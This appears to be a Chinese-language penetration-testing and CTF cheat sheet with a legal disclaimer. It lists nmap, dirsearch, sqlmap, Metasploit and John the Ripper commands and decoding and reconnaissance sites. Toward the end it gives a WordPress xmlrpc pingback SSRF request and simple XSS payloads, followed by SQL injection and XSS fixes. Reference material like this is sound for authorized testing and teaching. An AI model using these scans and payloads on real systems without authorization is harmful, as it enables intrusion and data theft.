---
# System prepended metadata

title: 穿越到異世界後要靠XX測試活下去

---

# 聲明（Disclaimer）
本文件僅供學習、合法的滲透測試、CTF（Capture The Flag）競賽及網路安全研究之用，嚴禁用於任何未經授權的測試或攻擊行為。使用者應確保自身行為符合當地法律法規，並獲得目標系統或網站管理員的明確許可。

任何因未經授權測試或惡意使用所造成的法律責任，均由使用者自行承擔，本文件編寫者及相關提供方不對任何非法行為負責。

使用本文件前，請確保：

* 已取得測試目標的正式授權
* 僅用於合法與道德範圍內的資安研究
* 遵守適用法規，例如《電腦犯罪法》、《個人資料保護法》等
![454525357_1176407136950812_6547743913596441863_n](https://hackmd.io/_uploads/ByYlJIBnJe.jpg)


---


## 各項指令紀錄簿

#### 1. **nmap** - 網路掃描
- 掃描開放端口、服務版本、腳本檢測、作業系統偵測
   ```bash
   nmap -sV -sC -A <目標IP>
   ```
- 檢測SSL憑證
    ```
    nmap -sV --script ssl-enum-ciphers -p 443
    ```

#### 2. **dirsearch** - 目錄爆破 
- 掃描網站目錄與檔案
   ```bash
   dirsearch -u <目標URL> -e <檔案類型> -x <欲排除的HTTP狀態碼>
   ```
    下載指令
    ```
    sudo apt-get install dirsearch
    ```
#### wfuzz  - 目錄爆破


#### 3. **sqlmap** - SQL 注入測試
- 自動化 SQL 注入檢測
    適用於GET
   ```bash
   sqlmap -u "<目標URL>?id=1" --dbs -p "id"
   ```
   
   適用於POST
   ```bash
   sqlmap -r "檔名" --dbs -p "欲爆破參數"
   ```
   
> 詳細參考資料：https://blog.csdn.net/u011781521/article/details/58594941
   

#### ４. **metasploit** - 漏洞利用
 - 啟動 Metasploit 框架
   ```bash
   msfconsole
   ```

#### ７. **John the ripper** - 雜湊破解
- 使用字典破解 Hash
   ```bash
   john --wordlist=<字典檔位置> --format=<hash格式> hashfile
   ```
   
> 詳細指令參考：https://hackercat.org/hacker-tools/john-the-ripper

#### 8.Kiterunner

```
    sudo apt update
    sudo apt install golang -y
    git clone https://github.com/assetnote/kiterunner.git
```
---

## 各項工具紀錄簿

### 解碼系列

#### CyberChef
- 各項加密方法基本可以在這找到
>https://gchq.github.io/CyberChef/#input=DQpHdXIgc3ludCB2ZiBjdnBiUEdTe2MzM3hubzAwXzFfZjMzX2hfcXJucW9ycnN9DQo&oeol=CRLF

#### base64 加解密
>https://www.base64decode.org/

#### crackstation
- 解hash的工具
>https://crackstation.net/

#### ASCII，十六進制，二進制，十進制，Base64轉換器
>https://www.rapidtables.org/zh-TW/convert/number/ascii-hex-bin-dec-converter.html

#### Unicode 編碼轉換
>https://www.ifreesite.com/unicode-ascii-ansi.htm

#### UUID-Decode
>https://www.uuidtools.com/decode

#### jwt
- JWT令牌解密網站
>https://jwt.io/

#### dCode
- 特殊解密的網站，例如維吉尼亞加密等，打CTF比較常用
https://www.dcode.fr/en


#### QR Code線上掃描解碼器
>https://www.toolskk.com/qrcode-scanner#google_vignette

#### 線上注音輸入法解碼器
- 覺得不太會用到但還是列一下
>https://www.toolskk.com/zhuyin-decode

---

### 資料收集系列

#### shodan
>https://www.shodan.io/
>
#### Exploit DB
>https://www.exploit-db.com/

#### libreoffice
>https://zh-tw.libreoffice.org/

#### snyk
- 看各個套件版本資訊
>https://security.snyk.io/

#### Wayback Machine
- 網路時光機，用於看網站過往的檔案
>https://web.archive.org/

#### Assetnote
>https://wordlists.assetnote.io/

---
### 插件系列

#### wappalyzer
- 看網頁所使用的框架、
>https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=zh-TW

---

### 其他系列

#### JS-beautifier
- 用於美化JS排版
>https://beautifier.io/

---
## 漏洞測試系列

#### wordpress-SSRF漏洞

1. 網站要使用wordpress架設
2. 訪問/xmlrpc.php看是否存在該文件，若有可驗證是否有該弱點
* 接封包網站：https://sec.lintstar.top/Dnslog.html

pyload

    
    POST /xmlrpc.php HTTP/1.1

    <methodCall>
        <methodName>pingback.ping</methodName>
        <params>
            <param>
                <value>
                    <string>"接封包的網站"</string>
                </value>
            </param>
            <param>
                <value>
                    <string>"接封包的網站"</string>
                </value>
            </param>
        </params>
    </methodCall>
   
詳細過程:https://www.jb51.net/article/243277.htm

#### XSS簡單pyload
* <script>alert("test")</script> 
* <q/ oncut=alert(1)>
* <svg/onload=alert(1)>
* location.href-"網址"

> oncut可以替換成onload、oncopy、onmouseover...等等
alert()可以替換成confirm()、prompt()

---

### 修補方式

#### SQL Injection
* 使用Prepared Statements或參數化查詢
* 限制存取者的權限
* 資料庫的內容使用雜湊進行儲存
* 輸入過濾與轉義

#### XSS
* 進行HTML encoding 
* 禁止 eval()、innerHTML、document.write()等用法

### 修補參考
>https://sites.google.com/gs.ncku.edu.tw/vulnerability-patching-guide/%E5%BC%B1%E9%BB%9E%E4%BF%AE%E8%A3%9C/owasp-top10-web-patch

### 查詢各版本漏洞
>https://security.snyk.io/

### 好用截圖工具
>https://getsharex.com/


### 弱密碼套件查詢
>https://ciphersuite.info/